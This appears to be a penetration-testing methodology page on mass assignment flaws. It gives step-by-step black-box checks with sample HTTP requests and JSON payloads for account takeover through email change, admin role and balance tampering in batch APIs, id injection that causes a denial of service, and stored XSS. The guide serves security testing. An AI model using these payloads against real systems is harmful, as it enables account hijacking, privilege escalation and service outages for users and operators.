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Mass Assignment

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Check List

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Methodology

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Black Box

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HTTP Method Override (PUT) in User APIs

1

Find API documentation in the target

2

Check the target API documentation to see if there is a path like api/user or check the API requests in Burp Suite to see if such a path is visible

3

Make a simple request with a simple GET method and check the request to make sure there are no problems with it

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Then make the request as POST and if it gives an error, check to see what methods the Allow header in the response refers to

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If the PUT method is present in the Allow response header, change the method to PUT and make the request

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If it gives a 400 error, send the content type to application/json and an empty body {}

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Then check whether the server response gives an error for missing a parameter

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Put the parameter mentioned in the server response into the request, send it, and check whether the server response has changed or not

9

Then send different numeric or string values ​​such as 1 or Admin into the parameter and if information is extracted in the server response, the vulnerability has been exploited

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Account Takeover via Unvalidated Profile Email Changearrow-up-right

1

logging into the application with a normal user account

2

Once logged in, I accessed the Profile Edit Page, where users can update their personal details such as name, email, and phone number

3

Using Burp Suite, I intercepted the request sent to the server when updating profile data. The original request looked like this

POST /api/pcsx/profile_edit HTTP/2
Host: example.com
Accept: application/json, text/plain,

{
    "op_section": "basic_info",
    "operation": "edit",
    "op_data": {
        "value": {
            "firstname": "Test",
            "lastname": "1",
            "phone": "+2010********",
            "location": "anywhere",
            "email": "user@gmail.com"
        }
    }
}
4

Modifying Sensitive Fields: I edited the email field to an arbitrary address (victim@gmail.com), simulating an attack where an attacker hijacks an account by changing the registered email and change the username to victim

POST /api/pcsx/profile_edit HTTP/2
Host: example.com
ccept: application/json, text/plain, /
{"op_section": "basic_info",
    "operation": "edit",
    "op_data": {
        "value": {
            "firstname": "victim",
            "lastname": "1",
            "phone": "+2010********",
            "location": "anywhere",
            "email": "victim@gmail.com"
        }
    }
}
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Sending the Request & Observing the Response

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After forwarding the modified request, I received a 200 OK response, confirming that the changes were applied without validation

HTTP/2 200 OK
Content-Type: application/json

{
    "data": {
        "avatar": "",
        "fullname": "Victim 1",
        "firstname": "Victim",
        "lastname": "1",
        "email": "victim@gmail.com",
        "location": "anywhere",
        "phone": "+2010********",
    }
}
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refreshed the profile page and saw that the email change was applied, proving that there were no validation checks in place. At this point, an attacker could request a password reset to the newly assigned email and gain full control of the victim’s account

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Parameter Tampering

1

Find any "Add", "Create", or "Register" form that sends JSON

2

Check the request in Burp Suite to locate the main nested object (patient, user, item) and confirm id is not present in the request but appears in the response

3

Make a normal POST request with valid data and verify the response creates a new record with an auto-incremented id

POST /api/add
{
  "user": {
    "name": "John",
    "email": "john@example.com"
  }
}

and Response 

{ "id": 100, "user": { "id": 100, "name": "John" } }
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Then inject "id": 999999 inside the nested object ("patient": {"id": 999999, ...}) and send the request

{
  "patient": {
    "id": 999999,
    "firstName": "Test",
    "phone": "123456"
  }
}
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If Vulnerable Response

{ "patientId": 999999, "patient": { "id": 999999 } }
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If the response reflects "id": 999999 in both patientId and patient.id, mass assignment is confirmed

Then inject a very high unused id like 1000000000 and check if the next normal creation skips to 1000000001

{ "user": { "id": 1000000000, "name": "Skip" } }
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Then inject an extremely large value like 1e99 to trigger a database error and extract the max allowed id (usually 9223372036854775807)

{ "item": { "id": 1e99, "title": "Test" } }

Error Example

{ "error": "Value out of range. Max: 9223372036854775807" }
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Then inject the maximum id value 9223372036854775807 and confirm the record is created

{ "device": { "id": 9223372036854775807, "name": "Last" } }
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Then attempt to create a new record normally and if it fails with DuplicateKeyException, global DoS is achieved

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Insecure Batch API Processing

1

Find any batch operation API that accepts multiple actions in one request

2

Check the API documentation or Burp Suite history for endpoints like /api/*/batch, /batch, /bulk, or /api/v1/users/batch

3

Make a normal PATCH or POST request with a single valid update and verify the response shows success

PATCH /api/v1/users/batch
[
  {
    "id": 1001,
    "operation": "update",
    "body": { "email": "test@legit.com" }
  }
]
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Expected Response

[{ "id": 1001, "status": "success" }]
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Then send a batch request updating multiple user IDs with sensitive fields like email, balance, role, or api_key Example Payload

[
  {
    "id": 1001,
    "operation": "update",
    "body": { "email": "hacked1@evil.com", "balance": 10000 }
  },
  {
    "id": 1002,
    "operation": "update",
    "body": { "email": "hacked2@evil.com", "role": "admin" }
  }
]
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If Vulnerable Response

[{ "status": "success" }, { "status": "success" }]
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If the response confirms updates on other users' data without authorization, IDOR + Mass Assignment is confirmed

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Mass-Assignment Led To Stored-XSS

1

Find any API endpoint that accepts JSON input and updates or creates chat, widget, or message objects

2

Check the API documentation or Burp Suite history for endpoints like /api/chat, /api/widget, /api/message, /api/update, or /api/config

3

Make a normal POST or PATCH request with valid data and verify the response stores the input

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Expected Response

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Then inject HTML-related fields like html, markup, bodyHtml, or domKey with a test payload

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If Vulnerable Response

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If the response stores the HTML without stripping, mass assignment to HTML sink is confirmed

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White Box

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Cheat Sheet

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